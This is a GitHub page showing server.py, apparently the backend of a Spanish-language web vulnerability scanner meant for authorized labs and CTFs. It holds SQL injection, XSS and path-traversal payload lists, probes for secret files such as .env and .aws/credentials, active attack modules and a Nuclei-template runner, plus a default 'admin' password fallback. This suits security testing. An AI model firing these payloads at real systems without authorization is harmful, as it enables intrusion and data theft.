-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathserver.py
More file actions
2134 lines (1980 loc) · 94.8 KB
/
Copy pathserver.py
File metadata and controls
2134 lines (1980 loc) · 94.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""ht_scanner - backend del scanner GUI de hacking team.
Sirve una web local y ejecuta escaneos REALES (no fake) contra objetivos
autorizados / labs propios. Solo fines educativos / CTF local.
Modulos: headers, archivos, rutas, SQLi, IDOR, XSS, tech
+ soporte de plantillas YAML compatibles con Nuclei (requests definidos por el usuario)
+ control de pausa / reanudar / saltar modulo en vivo.
El frontend pide /api/scan?target=... y recibe eventos via SSE (text/event-stream).
El control (pausar/continuar/saltar) se hace con /api/control?action=...&scan_id=...
"""
import json
import os
import sys
import ssl
import urllib.request
import urllib.parse
import urllib.error
import time
import platform
import re
import threading
import uuid
import datetime
from http.server import BaseHTTPRequestHandler, HTTPServer, ThreadingHTTPServer
from http.server import SimpleHTTPRequestHandler
try:
import yaml
HAS_YAML = True
except Exception:
HAS_YAML = False
import pdfgen
import core.port_scan as port_scan
ROOT = os.path.dirname(os.path.abspath(__file__))
PORT = 8788
REPORTS_DIR = os.path.join(ROOT, "reports")
os.makedirs(REPORTS_DIR, exist_ok=True)
# --- Acceso a la herramienta (gate de contrasena, validado en backend) ---
# La contrasena NO esta en claro en el codigo ni en el zip: solo se guarda
# su HASH (PBKDF2-HMAC-SHA256). El login valida contra el hash, por lo que
# la contrasena funciona (es compartible) pero no es legible en el fuente.
# Sin token de sesion firmado no se puede usar ninguna API. El token viaja
# en una cookie HttpOnly.
import hmac
import hashlib
import secrets
AUTH_SECRET = secrets.token_bytes(32)
AUTH_TOKENS = set()
AUTH_LOCK = threading.Lock()
# Hash de la contrasena de uso (no se almacena la contrasena en claro).
# Se carga desde config/auth.env (no commiteado) o variable de entorno HACKINGTEAM_PASS.
# Si no se define, se genera un hash del password por defecto para CTF local.
# IMPORTANTE: no hardcodear el hash real en el codigo fuente (se exponeria en el repo).
def _load_pass_hash():
import os as _os
env_path = _os.path.join(ROOT, "config", "auth.env")
# 1) variable de entorno
pw = _os.environ.get("HACKINGTEAM_PASS")
# 2) archivo config/auth.env (linea: HACKINGTEAM_PASS=tu_password)
if pw is None and _os.path.isfile(env_path):
try:
for line in open(env_path, encoding="utf-8"):
line = line.strip()
if line.startswith("HACKINGTEAM_PASS="):
pw = line.split("=", 1)[1].strip().strip('"').strip("'")
break
except Exception:
pw = None
# 3) fallback CTF local: password por defecto (NO es el hash real del usuario)
if not pw:
pw = "admin"
return _hash_pass(pw)
def _hash_pass(password, salt=None):
"""Devuelve 'salt:hash' (PBKDF2-HMAC-SHA256). El salt es aleatorio."""
if salt is None:
salt = secrets.token_hex(16)
dk = hashlib.pbkdf2_hmac("sha256", password.encode(), bytes.fromhex(salt), 200_000)
return f"{salt}:{dk.hex()}"
# Se asigna despues de definir _hash_pass.
PASS_HASH = _load_pass_hash()
def _check_pass(password):
try:
salt, _ = PASS_HASH.split(":", 1)
except Exception:
return False
return hmac.compare_digest(_hash_pass(password, salt), PASS_HASH)
def _make_token():
"""Genera un token firmado y lo registra como sesion valida."""
nonce = secrets.token_hex(16)
tok = hmac.new(AUTH_SECRET, nonce.encode(), "sha256").hexdigest()
with AUTH_LOCK:
AUTH_TOKENS.add(tok)
return tok
def _valid_token(tok):
if not tok:
return False
with AUTH_LOCK:
return tok in AUTH_TOKENS
def _token_from_cookie(headers):
cookie = headers.get("Cookie", "") or ""
m = re.search(r"hts_token=([0-9a-f]+)", cookie)
return m.group(1) if m else None
SSL_CTX = ssl.create_default_context()
SSL_CTX.check_hostname = False
SSL_CTX.verify_mode = ssl.CERT_NONE
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0 Safari/537.36")
# Wordlists
SENSITIVE = [".env", ".env.local", ".git/config", "wp-config.php", "phpinfo.php",
"robots.txt", "sitemap.xml", ".well-known/security.txt", "backup.zip",
"config.php", "xmlrpc.php", "admin/", "login/", "dashboard/",
"api/", ".aws/credentials"]
ROUTES = ["admin", "login", "dashboard", "api", "config", "panel", "wp-admin",
"phpmyadmin", "uploads", "backup", ".git", "test", "dev", "staging"]
SQLI_PAYLOADS = ["'", "' OR '1'='1", "\" OR \"1\"=\"1", "' OR 1=1-- -",
"admin' -- -", "0 UNION SELECT 1,2-- -"]
IDOR_PAYLOADS = ["1", "2", "3", "0", "999", "../../etc/passwd"]
XSS_PAYLOADS_DEFAULT = ["<script>alert(1)</script>", "\"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>", "'><svg/onload=alert(1)>"]
# Estado de escaneos (pause/skip/stop) y OOB ahora viven en core/
# (core.control.STORE y core.oob). Server.py ya no guarda estado global.
def req(method, url, data=None, cookie=None, timeout=10, raw=False):
"""Delegado a core.http.request (capa de red desacoplada)."""
from core.http import request as _request
return _request(method, url, data=data, cookie=cookie, timeout=timeout, raw=raw)
def check_control(scan_id, current_module):
"""Delegado a core.control.STORE.check (estado de escaneo)."""
from core.control import STORE
return STORE.check(scan_id, current_module)
def start_oob():
""" Delegado a core.oob.start_oob usando un scan_id global efimero.
Nota: el nuevo scan_target usa ctx.start_oob() (por scan_id). Este helper
existe solo para compatibilidad con el scan legacy."""
return _oob_legacy_start()
_OOB_LEGACY = {}
def _oob_legacy_start():
import socket, uuid as _uuid
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 0))
srv.listen(5)
port = srv.getsockname()[1]
token = "HTSCN" + _uuid.uuid4().hex[:12]
hit = threading.Event()
_OOB_LEGACY["token"] = token
_OOB_LEGACY["hit"] = hit
_OOB_LEGACY["server"] = srv
def acceptor():
srv.settimeout(0.5)
while not hit.is_set():
try:
conn, _ = srv.accept()
except Exception:
continue
try:
data = conn.recv(4096).decode("utf-8", "replace")
if token in data:
hit.set()
except Exception:
pass
finally:
try:
conn.close()
except Exception:
pass
threading.Thread(target=acceptor, daemon=True).start()
return "127.0.0.1", port, token
def stop_oob():
srv = _OOB_LEGACY.get("server")
if srv:
try:
srv.close()
except Exception:
pass
_OOB_LEGACY.clear()
def wait_oob(timeout=4):
return _OOB_LEGACY.get("hit", threading.Event()).wait(timeout)
def wait_oob_responsive(scan_id, current_module, timeout=1.2):
"""Delegado a core.oob.wait_oob_responsive (espera OOB con control)."""
from core.oob import wait_oob_responsive as _w
return _w(scan_id, current_module, timeout)
def sleep_ctrl(scan_id, current_module, seconds):
"""Duerme pero interrumpe si hay skip/stop."""
from core.control import STORE
end = time.time() + seconds
while time.time() < end:
ctrl = STORE.check(scan_id, current_module)
if ctrl in ("skip", "stop"):
return ctrl
time.sleep(0.05)
return "run"
def run_nuclei_templates(scan_id, target, templates, bus, emit):
"""Ejecuta plantillas YAML estilo Nuclei con lógica ampliada y ROBUSTA.
Tolera los formatos heterogéneos de los templates reales:
- template como dict con wrapper 'info:' y 'requests:' (Nuclei estándar)
- 'requests' puede estar dentro de 'info' o en la raíz
- 'payloads' puede ser dict de listas, lista, o dict con listas anidadas
- 'path' puede ser str o lista (se toma el primero)
- 'matchers' con condition and/or, tipos word/status/regex/dsl
- workflows básicos: requests en orden, detiene si control=stop/skip
NUNCA lanza excepción: un template roto se salta (warning) y sigue con el
siguiente, para que el módulo nuclei siempre termine y reporte.
"""
if not HAS_YAML:
emit({"type": "module", "name": "nuclei", "status": "done",
"msg": "PyYAML no instalado. Instala con: pip install pyyaml"})
return
def _resolve(text):
if isinstance(text, list):
text = text[0] if text else ""
if isinstance(text, dict):
text = text.get("path") or text.get("value") or ""
return (text or "").replace("{{BaseURL}}", target.rstrip("/")).replace(
"{{Hostname}}", urllib.parse.urlparse(target).netloc)
def _as_list(x):
"""Normaliza a lista: None->[], str->[str], list->lista, dict->valores."""
if x is None:
return []
if isinstance(x, str):
return [x]
if isinstance(x, list):
return x
if isinstance(x, dict):
return list(x.values())
return [x]
def _extract_requests(tmpl):
"""Devuelve la lista de requests de un template (dict o lista)."""
if isinstance(tmpl, list):
return [r for r in tmpl if isinstance(r, dict)]
if not isinstance(tmpl, dict):
return []
reqs = tmpl.get("requests")
if reqs is None and isinstance(tmpl.get("info"), dict):
reqs = tmpl.get("info", {}).get("requests")
if reqs is None:
reqs = tmpl.get("http")
if reqs is None and isinstance(tmpl.get("info"), dict):
reqs = tmpl.get("info", {}).get("http")
return [r for r in _as_list(reqs) if isinstance(r, dict)]
def _apply_payloads(tmpl, base_reqs):
"""Expande los requests con los payloads embebidos del template."""
payloads = tmpl.get("payloads") if isinstance(tmpl, dict) else None
p_lists = {}
if isinstance(payloads, dict):
for k, v in payloads.items():
if isinstance(v, list):
p_lists[k] = v
elif isinstance(v, dict):
for kk, vv in v.items():
if isinstance(vv, list):
p_lists[kk] = vv
elif isinstance(payloads, list):
# payloads como lista de strings/dicts: inyectar como 'payload'
vals = [p.get("value") if isinstance(p, dict) else p for p in payloads]
vals = [v for v in vals if v]
if vals:
p_lists["payload"] = vals[:500]
if not p_lists:
return base_reqs
cur = base_reqs
for key, values in p_lists.items():
out = []
for r in cur:
for val in values:
nr = dict(r)
nr[key] = val
out.append(nr)
cur = out[:500] # limitar expansion
return cur
def _eval_matchers(matchers, rr):
matchers = _as_list(matchers)
if not matchers:
return True
condition = "and"
if len(matchers) > 1:
for m in matchers:
if isinstance(m, dict) and "condition" in m:
condition = m.get("condition", "and")
break
results = []
for m in matchers:
if not isinstance(m, dict):
continue
mtype = m.get("type")
mpart = m.get("part", "body")
mwords = _as_list(m.get("words"))
mstatus = _as_list(m.get("status"))
content = rr.get("body", "") if mpart in ("body", "raw") else json.dumps(rr.get("headers", {}))
ok = False
if mtype == "word" and mwords:
ok = any(str(w).lower() in content.lower() for w in mwords)
elif mtype == "status" and mstatus:
ok = rr.get("code") in mstatus
elif mtype == "regex" and mwords:
import re as _re
ok = any(_re.search(str(w), content, _re.I) for w in mwords)
elif mtype == "dsl":
ok = True
results.append(ok)
if not results:
return False
if condition == "or":
return any(results)
return all(results)
def _run_request(r, context):
method = (r.get("method") or "GET").upper()
raw_path = r.get("path") or "/"
path = _resolve(_as_list(raw_path)[0] if _as_list(raw_path) else "/")
path = _resolve(path)
full = target.rstrip("/") + path
body = r.get("body")
params = r.get("params") or r.get("query")
try:
rr = req(method, full, data=body, params=params, timeout=10)
except TypeError:
rr = req(method, full, data=body, timeout=10)
matched = _eval_matchers(r.get("matchers", []), rr)
for ex in _as_list(r.get("extractors")):
if not isinstance(ex, dict):
continue
extype = ex.get("type")
expart = ex.get("part", "body")
content = rr.get("body", "") if expart in ("body", "raw") else json.dumps(rr.get("headers", {}))
if extype == "regex":
import re as _re
m = _re.search(ex.get("regex") or "", content, _re.I)
if m:
context[ex.get("name") or "extracted"] = m.group(1) if m.groups() else m.group(0)
elif extype == "word" and ex.get("words"):
for w in _as_list(ex.get("words")):
if str(w).lower() in content.lower():
context[ex.get("name") or "extracted"] = w
break
return rr, matched
# Construir la lista plana de requests a ejecutar
all_reqs = []
skipped = 0
try:
if isinstance(templates, list) and templates and isinstance(templates[0], dict) \
and templates[0].get("workflows"):
for wf in templates[0]["workflows"]:
for wr in _as_list(wf.get("requests")):
if isinstance(wr, dict):
all_reqs.append(wr)
except Exception:
pass
if not all_reqs:
for tmpl in (templates or []):
try:
base = _extract_requests(tmpl)
if not base:
continue
all_reqs.extend(_apply_payloads(tmpl if isinstance(tmpl, dict) else {}, base))
except Exception:
skipped += 1
continue
if not all_reqs:
emit({"type": "module", "name": "nuclei", "status": "done",
"msg": f"Nuclei: 0 requests válidos (templates parseados: {len(templates or [])}, omitidos: {skipped})"})
return
hits = 0
context = {}
emitted_keys = set() # Para deduplicar hallazgos
for r in all_reqs:
try:
ctrl = check_control(scan_id, "nuclei")
if ctrl == "stop":
emit({"type": "module", "name": "nuclei", "status": "done", "msg": "detenido"})
return
if ctrl == "skip":
break
rr, matched = _run_request(r, context)
if matched:
name = r.get("name") or (tmpl.get("id") if isinstance(tmpl, dict) else None) or "nuclei-request"
# reconstruir URL/Metodo desde el request (rr puede no traer 'url')
method = (r.get("method") or "GET").upper()
_p = _as_list(r.get("path") or "/")
path = _resolve(_p[0] if _p else "/")
url = target.rstrip("/") + path
# limpiar prefijos o artefactos (ej. "@url:") que algunos templates arrastran
url = url.replace("@url:", "").strip()
if url.startswith("//"):
url = "http:" + url
# extraer parametro de la query si existe
from urllib.parse import urlparse, parse_qs
qp = parse_qs(urlparse(url).query)
param = (list(qp.keys())[0] if qp else "")
tmpl_type = r.get("type") or (tmpl.get("info", {}).get("severity") if isinstance(tmpl, dict) else None) or r.get("severity", "info")
# severidad del finding: la del template (estandar nuclei), override por request
sev = r.get("severity") or (tmpl.get("info", {}).get("severity") if isinstance(tmpl, dict) else None) or "info"
# Deduplicar: solo emitir un hallazgo único por template+URL
dedup_key = f"{name}:{url}"
if dedup_key in emitted_keys:
continue
emitted_keys.add(dedup_key)
hits += 1
emit({
"type": "finding",
"severity": sev,
"module": "nuclei",
"confidence": "confirmed",
"detail": f"{name} — CONFIRMED\nURL: {url}\nParámetro: {param}\nMétodo: {method}\nTipo: {tmpl_type}\nConfidence: confirmed\nEvidence: respuesta cumple matchers del template\nTemplate/rule: {name}\nRequest de verificación: {method} {url}",
"evidence": {
"url": url,
"param": param,
"method": method,
"type": tmpl_type,
"confidence": "confirmed",
"template": name,
"condition": "matched",
"request": f"{method} {url}"
}
})
if r.get("stop-at-first-match") or (isinstance(tmpl, dict) and tmpl.get("stop-at-first-match")):
break
except Exception:
continue
emit({"type": "module", "name": "nuclei", "status": "done",
"msg": f"Nuclei: {hits} plantilla(s) coincidente(s) de {len(all_reqs)} requests (omitidos: {skipped})"})
def load_templates_from_yaml(text):
"""Carga plantillas tipo Nuclei (dict o lista de dicts)."""
if not HAS_YAML:
return []
try:
data = yaml.safe_load(text)
except Exception:
return []
if isinstance(data, dict):
return [data]
if isinstance(data, list):
return data
return []
def load_payloads_from_txt(text):
"""Carga payloads desde .txt con secciones opcionales:
[SQLi]
'
[XSS]
<script>alert(1)</script>
[IDOR]
1
Las lineas fuera de seccion se aplican a los tres tipos.
"""
out = {"sqli": [], "xss": [], "idor": []}
current = None
for line in text.splitlines():
line = line.strip()
if not line or line.startswith("#"):
continue
low = line.lower()
if low in ("[sqli]", "[sql]", "[sql injection]"):
current = "sqli"; continue
if low in ("[xss]",):
current = "xss"; continue
if low in ("[idor]",):
current = "idor"; continue
if current:
out[current].append(line)
else:
out["sqli"].append(line)
out["xss"].append(line)
out["idor"].append(line)
for k in out:
out[k] = [p for p in out[k] if p]
return out
def auto_load_payloads_and_templates(base_dir=None):
"""Carga automaticamente TODOS los payloads y templates del proyecto.
Devuelve (payloads_dict, templates_list).
- payloads_dict: {"sqli": [...], "xss": [...], "idor": [...]}
- templates_list: lista de dicts YAML (Nuclei-style)
"""
import glob as _glob
if base_dir is None:
base_dir = os.path.dirname(os.path.abspath(__file__))
payloads_dir = os.path.join(base_dir, "payloads")
nuclei_dir = os.path.join(base_dir, "nuclei-templates")
payloads = {"sqli": [], "xss": [], "idor": []}
templates = []
# 1) Payloads SQLi de payloads/sqli/*.txt
sqli_glob = os.path.join(payloads_dir, "sqli", "*.txt")
for path in _glob.glob(sqli_glob):
try:
with open(path, "r", encoding="utf-8", errors="replace") as fh:
text = fh.read()
loaded = load_payloads_from_txt(text)
for k in payloads:
payloads[k].extend(loaded.get(k, []))
except Exception:
pass
# 2) Payloads XSS de payloads/xss/*.txt
xss_glob = os.path.join(payloads_dir, "xss", "*.txt")
for path in _glob.glob(xss_glob):
try:
with open(path, "r", encoding="utf-8", errors="replace") as fh:
text = fh.read()
lines = [l.strip() for l in text.splitlines() if l.strip() and not l.strip().startswith("#")]
payloads["xss"].extend(lines)
# Los XSS también se añaden a sqli como payloads "genericos" si no hay sección
if not any(l.lower().startswith("[sqli]") or l.lower().startswith("[sql") for l in text.splitlines()[:5]):
payloads["sqli"].extend(lines)
except Exception:
pass
# 3) Nuclei templates de nuclei-templates/**/*.yaml (recursivo)
for root, dirs, files in os.walk(nuclei_dir):
for fname in files:
if not fname.endswith(".yaml"):
continue
path = os.path.join(root, fname)
try:
with open(path, "r", encoding="utf-8", errors="replace") as fh:
text = fh.read()
loaded = load_templates_from_yaml(text)
templates.extend(loaded)
except Exception:
pass
# Deduplicar
for k in payloads:
payloads[k] = list(dict.fromkeys(payloads[k]))
# templates dedup por id+url si es posible
seen_t = set()
unique_t = []
for t in templates:
key = (t.get("id") or t.get("info", {}).get("name") or "") + "|" + (t.get("url") or t.get("matchers", [{}])[0].get("url") or "") if isinstance(t, dict) else str(t)
if key not in seen_t:
seen_t.add(key); unique_t.append(t)
templates = unique_t
return payloads, templates
def _scan_target_legacy(scan_id, target, bus, templates=None, payloads=None, mode="active"):
"""Ejecuta modulos y emite eventos. Soporta control de pausa/saltar/stop.
mode='active' -> ejecuta todos los modulos (incluye envio de payloads)
mode='passive' -> solo recon (headers, archivos, rutas, tech) sin atacar
payloads -> dict con listas 'sqli'/'xss'/'idor' para usar en vez de las por defecto.
"""
def emit(ev):
bus(ev)
# Recolectar datos para el reporte PDF
if ev.get("type") == "finding":
report_data["findings"].append({
"severity": ev.get("severity", "low"),
"module": ev.get("module", ""),
"detail": ev.get("detail", ""),
})
elif ev.get("type") == "module" and ev.get("status") == "done":
report_data["modules_list"].append({
"name": ev.get("name", ""),
"ok": True,
"msg": ev.get("msg", ""),
})
report_data = {
"findings": [],
"modules_list": [],
"system": {"host": "", "server": "", "tech": "", "ports": ""},
}
if not target.startswith("http"):
target = "http://" + target
mods = ["headers", "archivos", "rutas", "sqli", "idor", "xss", "lfi",
"traversal", "rfi", "rce", "xxe", "tech"]
if templates:
mods = mods + ["nuclei"]
# Modo pasivo: no enviar payloads (solo superficie)
if mode == "passive":
mods = [m for m in mods if m not in ("sqli", "idor", "xss")]
emit({"type": "mode", "mode": "passive", "msg": "Modo PASIVO: solo recon, sin enviar payloads de ataque"})
else:
emit({"type": "mode", "mode": "active", "msg": "Modo ACTIVO: recon + envio de payloads"})
total = len(mods)
done = 0
# Servidor OOB para RFI/XXE (callback local)
oob_host, oob_port, oob_token = start_oob()
sqli_list = (payloads or {}).get("sqli") or SQLI_PAYLOADS
xss_list = (payloads or {}).get("xss") or XSS_PAYLOADS_DEFAULT
idor_list = (payloads or {}).get("idor") or IDOR_PAYLOADS
# 1) HEADERS
ctrl = check_control(scan_id, "headers")
if ctrl == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
emit({"type": "module", "name": "headers", "status": "running", "msg": f"Analizando cabeceras de {target}..."})
r = req("GET", target)
issues = []
h = r.get("headers", {})
if "strict-transport-security" not in (k.lower() for k in h):
issues.append("Falta HSTS")
if "content-security-policy" not in (k.lower() for k in h):
issues.append("Falta CSP")
if h.get("x-frame-options") is None and h.get("X-Frame-Options") is None:
issues.append("Falta X-Frame-Options (clickjacking)")
if h.get("server"):
issues.append(f"Server expuesto: {h.get('server')}")
report_data["system"]["server"] = h.get("server")
try:
report_data["system"]["host"] = urllib.parse.urlparse(target).netloc
except Exception:
pass
emit({"type": "module", "name": "headers", "status": "done",
"msg": f"HTTP {r['code']} | hallazgos: {', '.join(issues) if issues else 'ninguno'}", "findings": issues})
done += 1
emit({"type": "progress", "done": done, "total": total})
# 2) ARCHIVOS
if check_control(scan_id, "archivos") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
emit({"type": "module", "name": "archivos", "status": "running", "msg": "Buscando archivos sensibles expuestos..."})
found = []
for f in SENSITIVE:
if check_control(scan_id, "archivos") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
if check_control(scan_id, "archivos") == "skip":
break
rr = req("GET", target.rstrip("/") + "/" + f)
if rr["code"] in (200, 403) and rr["err"] is None:
found.append(f"{f} ({rr['code']})")
emit({"type": "finding", "severity": "medium", "module": "archivos", "detail": f"{f} accesible -> HTTP {rr['code']}"})
time.sleep(0.05)
emit({"type": "module", "name": "archivos", "status": "done", "msg": f"Encontrados: {len(found)}", "findings": found})
done += 1
emit({"type": "progress", "done": done, "total": total})
# 3) RUTAS
if check_control(scan_id, "rutas") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
emit({"type": "module", "name": "rutas", "status": "running", "msg": "Enumerando rutas/endpoints..."})
rfound = []
for rt in ROUTES:
if check_control(scan_id, "rutas") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
if check_control(scan_id, "rutas") == "skip":
break
rr = req("GET", target.rstrip("/") + "/" + rt)
if rr["code"] in (200, 301, 302, 403) and rr["err"] is None:
rfound.append(f"/{rt} ({rr['code']})")
emit({"type": "finding", "severity": "low", "module": "rutas", "detail": f"/{rt} -> HTTP {rr['code']}"})
time.sleep(0.05)
emit({"type": "module", "name": "rutas", "status": "done", "msg": f"Rutas: {len(rfound)}", "findings": rfound})
done += 1
emit({"type": "progress", "done": done, "total": total})
if mode == "active":
# 4) SQLi
if check_control(scan_id, "sqli") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
emit({"type": "module", "name": "sqli", "status": "running", "msg": "Probando inyeccion SQL en parametros GET..."})
sqli_hits = []
SQLI_ERRORS = ["error in your sql", "sql syntax", "sqlite", "you have an error",
"unclosed quotation mark", "sqlstate", "ora-", "pg_", "warning: mysqli",
"microsoft sql server", "syntax error", "near \"", "unrecognized token",
"operationalerror", "database error", "could not"]
sqli_paths = ["", "/notes", "/doc", "/article", "/view", "/product", "/item", "/post", "/news"]
_sqli_max = 200
_sqli_done = 0
for sp in sqli_paths:
base_url = target.rstrip("/") + sp
for param in ["id", "q", "page", "search", "note", "cat", "pid"]:
base = req("GET", base_url, {param: "1"})
base_len = len(base.get("body", ""))
base_code = base.get("code")
for p in sqli_list:
_sqli_done += 1
if _sqli_done > _sqli_max:
emit({"type": "module", "name": "sqli", "status": "done",
"msg": f"SQLi: {len(sqli_hits)} hallazgo(s) (tope alcanzado)",
"findings": sqli_hits})
break
if check_control(scan_id, "sqli") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
if check_control(scan_id, "sqli") == "skip":
break
rr = req("GET", base_url, {param: p})
body_l = rr.get("body", "").lower()
hit = False
if any(s in body_l for s in SQLI_ERRORS):
hit = True
elif rr.get("code") != base_code and rr.get("code") != 0:
hit = True
elif abs(len(rr.get("body", "")) - base_len) > 80:
hit = True
if hit:
sqli_hits.append(f"{sp or '/'}{param}={p}")
emit({"type": "finding", "severity": "high", "module": "sqli",
"detail": f"Posible SQLi en '{base_url}' param '{param}' con: {p}"})
break
time.sleep(0.03)
if sqli_hits:
break
if sqli_hits:
break
emit({"type": "module", "name": "sqli", "status": "done", "msg": f"SQLi: {len(sqli_hits)} hallazgo(s)", "findings": sqli_hits})
done += 1
emit({"type": "progress", "done": done, "total": total})
# 5) IDOR
if check_control(scan_id, "idor") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
emit({"type": "module", "name": "idor", "status": "running", "msg": "Probando IDOR (enumeracion de objetos por id)..."})
idor_hits = []
idor_paths = ["", "/doc", "/note", "/file", "/user", "/account", "/profile", "/view"]
for ip in idor_paths:
base_url = target.rstrip("/") + ip
for idparam in ["id", "doc", "uid", "user", "file", "pid"]:
for pid in idor_list:
if check_control(scan_id, "idor") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
if check_control(scan_id, "idor") == "skip":
break
rr = req("GET", base_url, {idparam: pid})
if (rr.get("code") == 200 and len(rr.get("body", "")) > 30
and "not found" not in rr.get("body", "").lower()
and "404" not in rr.get("body", "")):
idor_hits.append(f"{ip or '/'}{idparam}={pid}")
emit({"type": "finding", "severity": "medium", "module": "idor",
"detail": f"Objeto {base_url} {idparam}={pid} accesible (revisar control de acceso)"})
break
if idor_hits:
break
if idor_hits:
break
emit({"type": "module", "name": "idor", "status": "done", "msg": f"IDOR: {len(idor_hits)} sospechoso(s)", "findings": idor_hits})
done += 1
emit({"type": "progress", "done": done, "total": total})
# 6) XSS
if check_control(scan_id, "xss") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
emit({"type": "module", "name": "xss", "status": "running", "msg": "Probando XSS reflejado en parametros GET..."})
xss_hits = []
XSS_PATHS = ["", "/search", "/buscar", "/q", "/s", "/find"]
_xss_max = 150
_xss_done = 0
for xp in XSS_PATHS:
base_url = target.rstrip("/") + xp
for param in ["q", "search", "s", "id", "name", "term"]:
for p in xss_list:
_xss_done += 1
if _xss_done > _xss_max:
emit({"type": "module", "name": "xss", "status": "done",
"msg": f"XSS: {len(xss_hits)} hallazgo(s) (tope alcanzado)",
"findings": xss_hits})
break
if check_control(scan_id, "xss") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
if check_control(scan_id, "xss") == "skip":
break
rr = req("GET", base_url, {param: p})
if p in (rr.get("body", "") or "") and rr.get("code") == 200:
xss_hits.append(f"{base_url} {param}")
emit({"type": "finding", "severity": "high", "module": "xss",
"detail": f"XSS reflejado en '{base_url}' param '{param}': payload no filtrado"})
break
if xss_hits:
break
if xss_hits:
break
emit({"type": "module", "name": "xss", "status": "done", "msg": f"XSS: {len(xss_hits)} hallazgo(s)", "findings": xss_hits})
done += 1
emit({"type": "progress", "done": done, "total": total})
else:
# Modo pasivo: omitir ataque, marcar como omitido para keep progreso consistente
for nm in ("sqli", "idor", "xss"):
emit({"type": "module", "name": nm, "status": "done", "msg": "Omitido (modo pasivo)"})
done += 1
emit({"type": "progress", "done": done, "total": total})
# 7) LFI (Local File Inclusion) - parametros que cargan archivos locales
if check_control(scan_id, "lfi") == "stop":
emit({"type": "done", "summary": "Escaneo detenido"}); return
